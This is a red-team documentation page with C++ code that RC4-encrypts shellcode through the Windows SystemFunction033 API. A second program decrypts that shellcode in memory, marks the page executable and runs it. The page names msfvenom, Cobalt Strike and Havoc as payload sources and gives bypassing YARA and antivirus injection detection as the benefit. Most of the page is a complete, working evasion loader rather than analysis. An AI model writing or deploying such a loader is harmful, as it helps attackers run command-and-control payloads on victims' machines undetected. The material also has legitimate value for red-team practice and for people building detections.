> For the complete documentation index, see [llms.txt](https://www.redteam.cafe/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.redteam.cafe/red-team/shellcode-injection/inmemory-shellcode-encryption-and-decryption-using-systemfunction033.md).

# InMemory Shellcode Encryption and Decryption using SystemFunction033

### What is SystemFunction033

It is basically a function is Advapi32.dll which can do in RC4 encryption and decryption in memory

Read and learn about it from below links&#x20;

* <https://github.com/gentilkiwi/mimikatz/blob/c78b1cf37c517ae9d0e872447bb103da9fa6034a/modules/kull_m_crypto_system.h#L98>
* <https://s3cur3th1ssh1t.github.io/SystemFunction032_Shellcode/>

### Tribute

So in his tweet <https://twitter.com/ShitSecure/status/1589276402532384768> asked what you think at night?

&#x20;Here's a copy of his blog post but in C++

### Shellcode Encode

First you want your shellcode to encode (what a silly requirement :joy:. You can get it from msfvenom or CobaltStrike or Havoc C2&#x20;

If you got in raw format you can use below command to quickly turn it into cpp usable format&#x20;

```
xxd -i shellcode.bin > shellcode.h
```

```cpp
#include <windows.h>
#include <Winbase.h>
#include <iostream>
#include <string>
#include "shellcode.h"

#pragma warning(disable:4996)


using namespace std;

// Function prototype for SystemFunction033
typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring* memoryRegion,
	struct ustring* keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PVOID Buffer;
} _data, key, _data2;
int main()
{

	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char _key[] = "alphaBetagamma";

	//Hello
	//unsigned char shellcode[] = { 0x48,0x65,0x6c,0x6c,0x6f };
	//Encrypted RC4
	//unsigned char shellcode[] = { 0x41, 0xd6, 0xaa, 0x12, 0x8e };
	unsigned int shellcode_size = sizeof(shellcode);

	PVOID buffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	// Copy the character array to the allocated memory using memcpy.
	std::memcpy(buffer, shellcode, shellcode_size);
	
	//just setting null values at shellcode, cause why not 
	memset(shellcode, 0, shellcode_size);


	//Setting key values
	key.Buffer = (&_key);
	key.Length = sizeof(_key);

	//Setting shellcode in the struct for Systemfunction033
	_data.Buffer = buffer;
	_data.Length = shellcode_size;


	//Calling Systemfunction033
	SystemFunction033(&_data, &key);

	//Writing encrypted shellcode to bin file
	FILE* fp = fopen("enc_shellcode.bin", "wb");

	// Write the contents of the pvoid pointer to the file. They contents should be encrypted
	fwrite(buffer, shellcode_size, 1, fp);

	// Close the file
	fclose(fp);
	
	//instead if you want to print out the mem contents 
	/*
	for (unsigned int i = 0; i < _data.Length; i++)
	{
		cout << std::hex << (unsigned int)*((unsigned char*)buffer + i) << " ";
	}
	*/

	return 0;
}

```

Check the file enc\_shellcode.bin, you should have an encrypted shellcode

### Shellcode Injection with Systemfunction033

Hoping you got the enc\_shellcode.bin file now its time to get it decrypted in memory again

But first lets get your encrypted shellcode in cpp&#x20;

```
xxd -i enc_shellcode.bin > enc_shellcode.h
```

Now once we have that header file lets begin simple injection in memory&#x20;

```cpp
#include <windows.h>
#include <Winbase.h>
#include <iostream>
#include <string>
#include "enc_shellcode.h"

#pragma warning(disable:4996)


using namespace std;

// Function prototype for SystemFunction033
typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring* memoryRegion,
	struct ustring* keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PVOID Buffer;
} _data, key, _data2;
int main()
{

	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char _key[] = "alphaBetagamma";

	
	unsigned int shellcode_size = sizeof(shellcode);

	PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	// Copy the character array to the allocated memory using memcpy.
	std::memcpy(buffer, shellcode, shellcode_size);
	
	//just setting null values at shellcode, cause why not and why keep two copies in memory
	memset(shellcode, 0, shellcode_size);


	key.Buffer = (&_key);
	key.Length = sizeof(_key);

	_data.Buffer = buffer;
	_data.Length = shellcode_size;

	SystemFunction033(&_data, &key);
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)buffer, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);
	((void(*)())buffer)();
	WaitForSingleObject((HANDLE)-1, -1);


	return 0;
}


```

### Benefits ?

Bypass YARA detection if you are using Single Byte XOR&#x20;

Defeat the AV "On Injection"  shellcode detection as the decryption happens after the shellcode is put in memory

You dont want to write error prone code of encoding and decoding

### Credits

As always, my sensei [@vysecurity](https://twitter.com/vysecurity/)

Good to know [@S3cur3Th1sSh1t](https://twitter.com/ShitSecure) suffers from same disorder (weird thoughts at night) :joy:

Code stolen from <https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/>
